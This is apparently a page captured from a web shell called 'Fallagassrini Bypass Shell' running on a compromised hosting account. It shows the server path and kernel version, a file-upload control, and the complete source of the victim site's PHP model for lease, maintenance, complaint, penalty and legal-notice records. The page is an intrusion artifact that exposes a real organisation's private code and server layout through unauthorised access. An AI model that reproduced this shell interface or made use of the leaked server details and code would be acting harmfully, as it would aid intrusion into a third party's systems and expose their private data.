? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/rms/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/rms/application/models/bmmodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Bmmodel extends CI_Model
{
    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }
     function search_lease_agreement($pagenum)
    {
        $data=array();     
        $this->db->select('*');
        $this->db->from('lease_agreement');
        $this->db->join('customer','customer.customer_id=lease_agreement.lease_customer_id');
        $this->db->join('building_details','building_details.building_id=lease_agreement.lease_building_id','left');
        $this->db->join('master','master_id=lease_id');
        $this->db->where('master.login_type_id',$_SESSION['login_type']);
        $this->db->order_by('lease_id','desc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function insert_lease_agreement($postdata)
    {
        var_dump($postdata);
        die();
        $data=array();
        $this->db->trans_begin();
        $masterid = $this->mastermodel->insertmasterdata();
        $code=$this->mastermodel->get_lease_code($postdata['lease_building_id']);
        $lease_start_date=$this->mastermodel->convertdateformat($postdata['lease_start_date']);
        $lease_end_date=$this->mastermodel->convertdateformat($postdata['lease_end_date']);
        $lease_date=$this->mastermodel->convertdateformat($postdata['lease_date']);    
        if(isset($postdata['lease_facility']))
            $lease_facility=$postdata['lease_facility'];
        else
            $lease_facility='';
        $tblValues=array(
                        'lease_id'=>$masterid,
                        'lease_agreement_code'=>$code,
                        'lease_building_id'=>$postdata['lease_building_id'],                        
                        'lease_flat_no'=>$flat_no=$postdata['lease_flat_no'],
                        'lease_start_date'=>$lease_start_date,
                        'lease_end_date'=>$lease_end_date,
                        'lease_date'=>$lease_date,
                        'lease_customer_id'=>$postdata['lease_customer_id'],
                        'lease_rent_amount'=>$postdata['lease_rent_amount'],                      
                        'lease_remarks'=>$postdata['lease_remarks'],
                        'lease_status'=>$postdata['lease_status'],
                        'lease_facility'=>$lease_facility
            );
        $this->db->insert('lease_agreement', $tblValues);
        if($postdata['lease_remind_before']!="")
        {                    
            $date=date('Y-m-d', strtotime($lease_end_date. ' - '.$postdata['lease_remind_before'].' days'));
            $masterid1 = $this->mastermodel->insertmasterdata();
            $tblValues=array(
            'alert_id'=>$masterid1,
            'alert_record_id'=>$masterid,
            'alert_master_id'=>'2',
            'alert_date'=>$date,
            'alert_status'=>'1'          
                );
            $this->db->insert('alert',$tblValues);
            for($i=0;$i<$postdata['alert_limit'];$i++)
            {
                if(isset($postdata['lease_alert_'.$i]))
                  {
                   $tblValues=array(
                     'alert_id'=>$masterid1,
                     'employee_id'=>$postdata['lease_alert_'.$i]
                     );
                   $this->db->insert('alert_employee',$tblValues);
                  }
            }
                    
        }
        $limit=$postdata['amenity_limit'];     
        for($i=1;$i<$limit;$i++)
        {
            if(isset($postdata['amenity_'.$i]))
            {
                 $tblValues=array(
                                  'lease_id'=>$masterid,
                                  'amenity_id'=>$postdata['amenity_'.$i]                     
                                 );
                 $this->db->insert('lease_amenity_details',$tblValues);
            }
        }
                       
        while(isset($postdata['appliance_allocation_id'.$i]))
        {
            if($postdata['appliance_allocation_id'.$i]!="")
            {
                $tblValues=array(
                            'lease_id'=>$masterid,
                            'appliance_allocation_id'=>$postdata['appliance_allocation_id'.$i],
                            'appliance_allocation_date'=>$this->mastermodel->convertdateformat($postdata['appliance_allocation_date'.$i]),
                            'appliance_allocation_remarks'=>$postdata['appliance_allocation_remarks'.$i]
                          );
                $this->db->insert('appliance_allocation',$tblValues);
            }
            $i++;
        }
        $i=1;
        while(isset($postdata['lease_payment_mode'.$i]))
        {
            if($postdata['lease_payment_mode'.$i])
            {
                $payment_date=$this->mastermodel->convertdateformat($postdata['lease_payment_date'.$i]);
                $tblValues=array(
                                  'lease_id'=>$masterid,
                                  'lease_payment_mode'=>$postdata['lease_payment_mode'.$i],
                                  'lease_payment_date'=>$payment_date,
                                  'lease_payment_amount'=>$postdata['lease_payment_amount'.$i],
                                  'lease_payment_status'=>'Unpaid',
                );
                $this->db->insert('lease_payment_details',$tblValues);
                            
                $date=date('Y-m-d', strtotime($payment_date. ' - 5 days'));
                $masterid2 = $this->mastermodel->insertmasterdata();
                $tblValues1=array(
                'alert_id'=>$masterid2,
                'alert_record_id'=>$masterid,
                'alert_master_id'=>'1',
                'alert_date'=>$date,
                'alert_status'=>'1'          
                    );
                 $this->db->insert('alert',$tblValues1);                 
                 $employee=$this->bmmodel->rent_alert_employee();                 
                foreach($employee as $row)
                {                   
                        $tblValues=array(
                            'alert_id'=>$masterid2,
                            'employee_id'=>$row['employee_id']
                            );
                        $this->db->insert('alert_employee',$tblValues);                      
                }
            }
            $i++;
        }
        $data['resfunction']='search_lease_agreement';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    } 
    function update_lease_agreement($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $lease_start_date=$this->mastermodel->convertdateformat($postdata['lease_start_date']);
        $lease_end_date=$this->mastermodel->convertdateformat($postdata['lease_end_date']);
        $lease_date=$this->mastermodel->convertdateformat($postdata['lease_date']); 
        $lease_id=$postdata['lease_id'];
        if(isset($postdata['lease_facility']))
            $lease_facility=$postdata['lease_facility'];
        else
            $lease_facility='';
        $tblValues=array(                       
                        'lease_flat_no'=>$postdata['lease_flat_no'],
                        'lease_start_date'=>$lease_start_date,
                        'lease_end_date'=>$lease_end_date,
                        'lease_date'=>$lease_date,
                        'lease_rent_amount'=>$postdata['lease_rent_amount'],                        
                        'lease_remarks'=>$postdata['lease_remarks'],
                        'lease_status'=>$postdata['lease_status']   ,
                        'lease_facility'=>$lease_facility            
            );
        $this->db->where('lease_id',$lease_id);
        $this->db->update('lease_agreement', $tblValues);
        
        $this->db->where('lease_id',$lease_id);
        $this->db->delete('lease_amenity_details');
        $limit=$postdata['amenity_limit'];
        for($i=0;$i<$limit;$i++)
        {
            if(isset($postdata['amenity_'.$i]))
            {
                 $tblValues=array(
                                  'lease_id'=>$lease_id,
                                  'amenity_id'=>$postdata['amenity_'.$i]                     
                                 );
                 $this->db->insert('lease_amenity_details',$tblValues);
            }
        }
        
        
        
        $this->db->where('lease_id',$lease_id);
        $this->db->delete('appliance_allocation');
        
        $i=1;
        while(isset($postdata['appliance_allocation_id'.$i]))
        {
            if($postdata['appliance_allocation_id'.$i]!="")
            {
                $tblValues=array(
                            'lease_id'=>$lease_id,
                            'appliance_allocation_id'=>$postdata['appliance_allocation_id'.$i],
                            'appliance_allocation_date'=>$this->mastermodel->convertdateformat($postdata['appliance_allocation_date'.$i]),
                            'appliance_allocation_remarks'=>$postdata['appliance_allocation_remarks'.$i]
                          );
                $this->db->insert('appliance_allocation',$tblValues);
            }
            $i++;
        }
        
        $this->db->where('lease_id',$lease_id);
        $this->db->delete('lease_payment_details');
        
           $i=1;
        while(isset($postdata['lease_payment_mode'.$i]))
        {
            if($postdata['lease_payment_mode'.$i])
            {
                $tblValues=array(
                                  'lease_id'=>$lease_id,
                                  'lease_payment_mode'=>$postdata['lease_payment_mode'.$i],
                                  'lease_payment_date'=>$this->mastermodel->convertdateformat($postdata['lease_payment_date'.$i]),
                                  'lease_payment_amount'=>$postdata['lease_payment_amount'.$i],
                                  'lease_payment_status'=>$postdata['lease_payment_status'.$i],
                );
                $this->db->insert('lease_payment_details',$tblValues);
            }
            $i++;
        }
        
        $data['resfunction']='search_lease_agreement';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    } 
    function rent_alert_employee()
    {       
        $data=array();
        $this->db->select('*');
        $this->db->from('alert_master_designation');
        $this->db->join('employee','employee.employee_designation_id=alert_master_designation.alert_designation_id');   
        $this->db->where('alert_master_designation.alert_id','1');          
        $Q= $this->db->get();      
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    /* functions for maintenance */
    function search_maintenance($pagenum)
    {
        $data=array();       
        $this->db->select('*');
        $this->db->from('building_maintenance');
        $this->db->join('lease_agreement','lease_agreement.lease_id=bm_lease_id');
        $this->db->join('customer','customer.customer_id=lease_customer_id');
        $this->db->join('maintenance_cc','maintenance_cc_id=bm_contractor_id','left');
        $this->db->join('master','master_id=bm_id');
        $this->db->where('master.login_type_id',$_SESSION['login_type']);
        $this->db->order_by('bm_id','desc');
        $data['results']=$this->db->get(); 
        return $data;
    }
    
    function insert_maintenance($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $masterid = $this->mastermodel->insertmasterdata();
        $code=$this->mastermodel->get_master_code('building_maintenance','Building Maintenance','bm_code','bm_id');
        //$payment_date=$this->mastermodel->convertdateformat($postdata['bm_payment_date']);       
        $bm_date=$this->mastermodel->convertdateformat($postdata['bm_date']);       
        $tblValues=array(
                        'bm_id'=>$masterid,
                        'bm_code'=>$code,
                        'bm_lease_id'=>$postdata['bm_lease_id'],
                        'bm_date'=>$bm_date,
                        'bm_work_scope'=>$postdata['bm_work_scope'],
                        'bm_contractor_id'=>$postdata['bm_contractor_id'],
                        'bm_budget'=>$postdata['bm_budget'],
                        'bm_remarks'=>$postdata['bm_remarks'],
                                            
            );
        $this->db->insert('building_maintenance', $tblValues);
        $data['resfunction']='search_maintenance';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    } 
    function update_maintenance($postdata)
    {
        $data=array();
        $this->db->trans_begin();               
        
        $bm_date=$this->mastermodel->convertdateformat($postdata['bm_date']);      
        $tblValues=array(                        
                        'bm_date'=>$bm_date,
                        'bm_work_scope'=>$postdata['bm_work_scope'],
                        'bm_budget'=>$postdata['bm_budget'],
                        'bm_remarks'=>$postdata['bm_remarks'],
                                           
            );
        $this->db->where('bm_id',$postdata['bm_id']);
        $this->db->update('building_maintenance', $tblValues);
        $data['resfunction']='search_maintenance';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    } 
    /* functions for complaint */
    function search_complaint($pagenum)
    {
        $data=array();       
        $this->db->select('*');
        $this->db->from('building_complaint');
        $this->db->join('lease_agreement','lease_agreement.lease_id=complaint_lease_id');
        $this->db->join('customer','customer.customer_id=lease_customer_id');
        $this->db->join('master','master_id=complaint_id');
        $this->db->where('master.login_type_id',$_SESSION['login_type']);
        $this->db->order_by('complaint_id','desc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function insert_complaint($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $masterid = $this->mastermodel->insertmasterdata();
        $code=$this->mastermodel->get_master_code('building_complaint','Building Complaint','complaint_code','complaint_id');
        $date=$this->mastermodel->convertdateformat($postdata['complaint_date']);       
        $tblValues=array(
                        'complaint_id'=>$masterid,
                        'complaint_code'=>$code,
                        'complaint_lease_id'=>$postdata['complaint_lease_id'],
                        'complaint_date'=>$date,
                        'complaint_cause'=>$postdata['complaint_cause'],
                        'complaint_remarks'=>$postdata['complaint_remarks']                                              
            );
        $this->db->insert('building_complaint', $tblValues);
        $data['resfunction']='search_complaint';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    } 
    function update_complaint($postdata)
    {
        $data=array();
        $this->db->trans_begin();      
        $date=$this->mastermodel->convertdateformat($postdata['complaint_date']);       
        $tblValues=array(                       
                        'complaint_date'=>$date,
                        'complaint_cause'=>$postdata['complaint_cause'],
                        'complaint_remarks'=>$postdata['complaint_remarks']                                              
            );
        $this->db->where('complaint_id',$postdata['complaint_id']);
        $this->db->update('building_complaint', $tblValues);
        $data['resfunction']='search_complaint';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    } 
    /* functions for disciplinary letter */
    
    function search_letter($pagenum)
    {
        $data=array();       
        $this->db->select('*');
        $this->db->from('disciplinary_letter');
        $this->db->join('master','master_id=disciplinary_id');
        $this->db->join('lease_agreement','lease_agreement.lease_id=disciplinary_lease_id');
        $this->db->join('customer','customer.customer_id=lease_customer_id');
        $this->db->where('master.login_type_id',$_SESSION['login_type']);
        $this->db->order_by('disciplinary_id','desc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function insert_letter($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $masterid = $this->mastermodel->insertmasterdata();
        $code=$this->mastermodel->get_master_code('disciplinary_letter','Disciplinary Letter','disciplinary_code','disciplinary_id');
        $date=$this->mastermodel->convertdateformat($postdata['disciplinary_date']);       
        $tblValues=array(
                        'disciplinary_id'=>$masterid,
                        'disciplinary_code'=>$code,
                        'disciplinary_lease_id'=>$postdata['disciplinary_lease_id'],
                        'disciplinary_date'=>$date,                       
                        'disciplinary_remarks'=>$postdata['disciplinary_remarks']                                              
            );
        $this->db->insert('disciplinary_letter', $tblValues);
        $data['resfunction']='search_letter';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    } 
    function update_letter($postdata)
    {
        $data=array();
        $this->db->trans_begin();        
        $date=$this->mastermodel->convertdateformat($postdata['disciplinary_date']);       
        $tblValues=array(                                       
                        'disciplinary_date'=>$date,                       
                        'disciplinary_remarks'=>$postdata['disciplinary_remarks']                                              
            );
        $this->db->where('disciplinary_id',$postdata['disciplinary_id']);
        $this->db->update('disciplinary_letter', $tblValues);
        $data['resfunction']='search_letter';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    } 
    
    /* functions for extension */
    
     function search_extension($pagenum)
    {
        $data=array();       
        $this->db->select('*');
        $this->db->from('extension');
        $this->db->join('master','master_id=extension_id');
        $this->db->join('lease_agreement','lease_agreement.lease_id=extension_lease_id');     
        $this->db->where('master.login_type_id',$_SESSION['login_type']);
        $this->db->order_by('extension_id','desc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function insert_extension($postdata)
    {
        $data=array();
        $this->db->trans_begin(); 
        $masterid = $this->mastermodel->insertmasterdata();      
        $code=$this->mastermodel->get_extension_code($postdata['lease_code']);
        $date3=$this->mastermodel->convertdateformat($postdata['renewal_contract_start_date']);
        $date4=$this->mastermodel->convertdateformat($postdata['renewal_contract_end_date']); 
        $tblValues=array(                        
                        'extension_id'=>$masterid,
                        'extension_lease_id'=>$postdata['extension_lease_id'],
                        'extension_code'=>$code,                        
                        'renewal_contract_start_date'=>$date3,
                        'renewal_contract_end_date'=>$date4,                  
                        'extension_current_rent'=>$postdata['extension_current_rent']                                                                   
            );
        $this->db->insert('extension', $tblValues);
        
        $i=1;
        while (isset($postdata['extension_appliance_id'.$i]))
        {
            if($postdata['extension_appliance_id'.$i]!="")
            {
                $tblValues=array(
                                'extension_id'=>$masterid,
                                'extension_appliance_id'=>$postdata['extension_appliance_id'.$i],
                                'extension_appliance_date'=>$this->mastermodel->convertdateformat($postdata['extension_appliance_date'.$i]),
                                'extension_appliance_remarks'=>$postdata['extension_appliance_remarks'.$i]
                );
                $this->db->insert('extension_appliance',$tblValues);
            }
            $i++;
        }                         
        $data['resfunction']='search_extension';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    } 
    
    function update_extension($postdata)
    {
        $data=array();
        $this->db->trans_begin();        
        $extension_id=$postdata['extension_id'];       
        $date3=$this->mastermodel->convertdateformat($postdata['renewal_contract_start_date']);
        $date4=$this->mastermodel->convertdateformat($postdata['renewal_contract_end_date']); 
        $tblValues=array(                                                                                       
                        'renewal_contract_start_date'=>$date3,
                        'renewal_contract_end_date'=>$date4,                  
                        'extension_current_rent'=>$postdata['extension_current_rent']                                                                   
            );
        $this->db->where('extension_id',$extension_id);
        $this->db->update('extension', $tblValues);
        
        $this->db->where('extension_id',$extension_id);
        $this->db->delete('extension_appliance');        
        $i=1;
        while (isset($postdata['extension_appliance_id'.$i]))
        {
            if($postdata['extension_appliance_id'.$i]!="")
            {
                $tblValues=array(
                                'extension_id'=>$extension_id,
                                'extension_appliance_id'=>$postdata['extension_appliance_id'.$i],
                                'extension_appliance_date'=>$this->mastermodel->convertdateformat($postdata['extension_appliance_date'.$i]),
                                'extension_appliance_remarks'=>$postdata['extension_appliance_remarks'.$i]
                );
                $this->db->insert('extension_appliance',$tblValues);
            }
            $i++;
        }                         
        
        $data['resfunction']='search_extension';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    } 
    /* functions for contract termination */
    function search_termination($pagenum)
    {
        $data=array();       
        $this->db->select('*');
        $this->db->from('contract_termination');
        $this->db->join('lease_agreement','lease_agreement.lease_id=termination_lease_id');
        $this->db->join('customer','customer.customer_id=lease_customer_id');
        $this->db->join('master','master_id=termination_id');
        $this->db->where('master.login_type_id',$_SESSION['login_type']);
        $this->db->order_by('termination_id','desc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function insert_termination($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $limit=$postdata['appliance_limit'];
        $masterid = $this->mastermodel->insertmasterdata();
        $code=$this->mastermodel->get_master_code('contract_termination','Contract Termination','termination_code','termination_id');
       // $date1=$this->mastermodel->convertdateformat($postdata['contract_start_date']);
        //$date2=$this->mastermodel->convertdateformat($postdata['contract_end_date']); 
        $date3=$this->mastermodel->convertdateformat($postdata['termination_effective_date']);     
        $tblValues=array(
                        'termination_id'=>$masterid,
                        'termination_code'=>$code,  
                        'termination_lease_id'=>$postdata['termination_lease_id'],
                        //'contract_start_date'=>$date1,
                        //'contract_end_date'=>$date2,
                        'termination_effective_date'=>$date3,                       
                        'termination_status'=>$postdata['termination_status'],
                        'termination_deduction_amount'=>$postdata['termination_deduction_amount']                                                                   
            );
        $this->db->insert('contract_termination', $tblValues);
        
        for($i=1;$i<$limit;$i++)
        {
            if(isset($postdata['appliance_'.$i]))
            {
               $tblValues=array(
                 'termination_id'=>$masterid,
                 'termination_appliance_id'=>$postdata['appliance_'.$i]
               ); 
               $this->db->insert('contract_termination_appliance',$tblValues);
            }
            
        }
                        
        $data['resfunction']='search_termination';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    } 
    function update_termination($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $limit=$postdata['appliance_limit'];    
        $termination_id=$postdata['termination_id'];  
        $date3=$this->mastermodel->convertdateformat($postdata['termination_effective_date']);     
        $tblValues=array(                                                         
                        'termination_effective_date'=>$date3,                       
                        'termination_status'=>$postdata['termination_status'],
                        'termination_deduction_amount'=>$postdata['termination_deduction_amount']                                                                   
            );
        $this->db->where('termination_id',$termination_id);
        $this->db->update('contract_termination', $tblValues);
        
        $this->db->where('termination_id',$termination_id);
        $this->db->delete('contract_termination_appliance');
        for($i=1;$i<$limit;$i++)
        {
            if(isset($postdata['appliance_'.$i]))
            {
               $tblValues=array(
                 'termination_id'=>$termination_id,
                 'termination_appliance_id'=>$postdata['appliance_'.$i]
               ); 
               $this->db->insert('contract_termination_appliance',$tblValues);
            }
            
        }
                        
        $data['resfunction']='search_termination';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    } 
    /* function for misuse */
    function search_misuse($pagenum)
    {
        $data=array();       
        $this->db->select('*');
        $this->db->from('building_misuse');
        $this->db->join('lease_agreement','lease_agreement.lease_id=misuse_lease_id');
        $this->db->join('customer','customer.customer_id=lease_customer_id');
        $this->db->join('master','master_id=misuse_id');
        $this->db->where('master.login_type_id',$_SESSION['login_type']);
        $this->db->order_by('misuse_id','desc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function insert_misuse($postdata)
    {
        $data=array();
        $this->db->trans_begin();   
        $masterid = $this->mastermodel->insertmasterdata();
        $code=$this->mastermodel->get_master_code('building_misuse','Building Misuse','misuse_code','misuse_id');
        $date=$this->mastermodel->convertdateformat($postdata['misuse_date']);           
        $tblValues=array(
                        'misuse_id'=>$masterid,
                        'misuse_code'=>$code,  
                        'misuse_lease_id'=>$postdata['misuse_lease_id'],
                        'misuse_date'=>$date,                                             
                        'misuse_description'=>$postdata['misuse_description'],
                        'misuse_deduction_amount'=>$postdata['misuse_deduction_amount']                                                                   
            );
        $this->db->insert('building_misuse', $tblValues);
                                        
        $data['resfunction']='search_misuse';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    } 
    function update_misuse($postdata)
    {
        $data=array();
        $this->db->trans_begin();                   
        $date=$this->mastermodel->convertdateformat($postdata['misuse_date']);           
        $tblValues=array(                       
                        
                        'misuse_date'=>$date,                                             
                        'misuse_description'=>$postdata['misuse_description'],
                        'misuse_deduction_amount'=>$postdata['misuse_deduction_amount']                                                                   
            );
        $this->db->where('misuse_id',$postdata['misuse_id']);
        $this->db->update('building_misuse', $tblValues);
                                        
        $data['resfunction']='search_misuse';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    } 
    /* functions for service */
    function search_service($pagenum)
    {
        $data=array();       
        $this->db->select('*');
        $this->db->from('building_service');
        $this->db->join('lease_agreement','lease_agreement.lease_id=building_service_lease_id');
        $this->db->join('customer','customer.customer_id=lease_customer_id');
        $this->db->join('master','master_id=building_service_id');
        $this->db->where('master.login_type_id',$_SESSION['login_type']);
        $this->db->order_by('building_service_id','desc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function insert_service($postdata)
    {
        $data=array();
        $this->db->trans_begin();   
        $masterid = $this->mastermodel->insertmasterdata();
        $code=$this->mastermodel->get_master_code('building_service','Building Service','building_service_code','building_service_id');
        $date=$this->mastermodel->convertdateformat($postdata['building_service_date']);           
        $tblValues=array(
                        'building_service_id'=>$masterid,
                        'building_service_code'=>$code,  
                        'building_service_lease_id'=>$postdata['building_service_lease_id'],
                        'building_service_date'=>$date,                                             
                        'building_service_offered'=>$postdata['building_service_offered'],
                        'building_service_amount'=>$postdata['building_service_amount']                                                                   
            );
        $this->db->insert('building_service', $tblValues);
                                        
        $data['resfunction']='search_service';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
    
    function update_service($postdata)
    {
        $data=array();
        $this->db->trans_begin();          
        $date=$this->mastermodel->convertdateformat($postdata['building_service_date']);           
        $tblValues=array(                        
                        'building_service_date'=>$date,                                             
                        'building_service_offered'=>$postdata['building_service_offered'],
                        'building_service_amount'=>$postdata['building_service_amount']                                                                   
            );
        $this->db->where('building_service_id',$postdata['building_service_id']);
        $this->db->update('building_service', $tblValues);
                                        
        $data['resfunction']='search_service';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Update Successfully';
            return $data;
        }
    } 
    
    function search_penalty($pagenum)
    {
        $data=array();       
        $this->db->select('*');
        $this->db->from('building_penalty');
        $this->db->join('lease_agreement','lease_agreement.lease_id=building_penalty_lease_id');
        $this->db->join('customer','customer.customer_id=lease_customer_id');
        $this->db->join('master','master_id=building_penalty_id');
        $this->db->where('master.login_type_id',$_SESSION['login_type']);
        $this->db->order_by('building_penalty_id','desc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function insert_penalty($postdata)
    {
        $data=array();
        $this->db->trans_begin();   
        $masterid = $this->mastermodel->insertmasterdata();
        $code=$this->mastermodel->get_master_code('building_penalty','Building Penalty','building_penalty_code','building_penalty_id');
        $date=$this->mastermodel->convertdateformat($postdata['building_penalty_date']);           
        $tblValues=array(
                        'building_penalty_id'=>$masterid,
                        'building_penalty_code'=>$code,                      
                        'building_penalty_date'=>$date, 
                        'building_penalty_lease_id'=>$postdata['building_penalty_lease_id'],
                        'building_penalty_description'=>$postdata['building_penalty_description'],
                        'building_penalty_amount'=>$postdata['building_penalty_amount'],
                        'penalty_amount_details'=>$postdata['penalty_amount_details']
            );
        $this->db->insert('building_penalty', $tblValues);
                                        
        $data['resfunction']='search_penalty';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
    function update_penalty($postdata)
    {
        $data=array();
        $this->db->trans_begin();           
        $date=$this->mastermodel->convertdateformat($postdata['building_penalty_date']);           
        $tblValues=array(                                  
                        'building_penalty_date'=>$date, 
                        'building_penalty_description'=>$postdata['building_penalty_description'],
                        'building_penalty_amount'=>$postdata['building_penalty_amount'],
                        'penalty_amount_details'=>$postdata['penalty_amount_details']
            );
        $this->db->where('building_penalty_id',$postdata['building_penalty_id']);
        $this->db->update('building_penalty', $tblValues);
                                        
        $data['resfunction']='search_penalty';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }
    
    /* functions for legal notice */
    function search_legal_notice($pagenum)
    {
        $data=array();       
        $this->db->select('*');
        $this->db->from('legal_notice');
        $this->db->join('lease_agreement','lease_agreement.lease_id=legal_notice_lease_id');
        $this->db->join('customer','customer.customer_id=lease_customer_id');
        $this->db->join('master','master_id=legal_notice_id');
        $this->db->where('master.login_type_id',$_SESSION['login_type']);
        $this->db->order_by('legal_notice_id','desc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function insert_legal_notice($postdata)
    {
        $data=array();
        $this->db->trans_begin();   
        $masterid = $this->mastermodel->insertmasterdata();        
        $date=$this->mastermodel->convertdateformat($postdata['legal_notice_date']);           
        $tblValues=array(
                        'legal_notice_id'=>$masterid,
                        'legal_notice_lease_id'=>$postdata['legal_notice_lease_id'], 
                        'legal_notice_number'=>$postdata['legal_notice_number'],
                        'legal_notice_date'=>$date,                                             
                        'legal_notice_remarks'=>$postdata['legal_notice_remarks']                                                                                        
            );
        $this->db->insert('legal_notice', $tblValues);
                                        
        $data['resfunction']='search_legal_notice';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
        function update_legal_notice($postdata)
    {
        $data=array();
        $this->db->trans_begin();             
        $date=$this->mastermodel->convertdateformat($postdata['legal_notice_date']);           
        $tblValues=array(                
                        'legal_notice_number'=>$postdata['legal_notice_number'],
                        'legal_notice_date'=>$date,                                             
                        'legal_notice_remarks'=>$postdata['legal_notice_remarks']                                                                                        
            );
        $this->db->where('legal_notice_id',$postdata['legal_notice_id']);
        $this->db->update('legal_notice', $tblValues);
                                        
        $data['resfunction']='search_legal_notice';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }
    /* functions for amenities allocation */
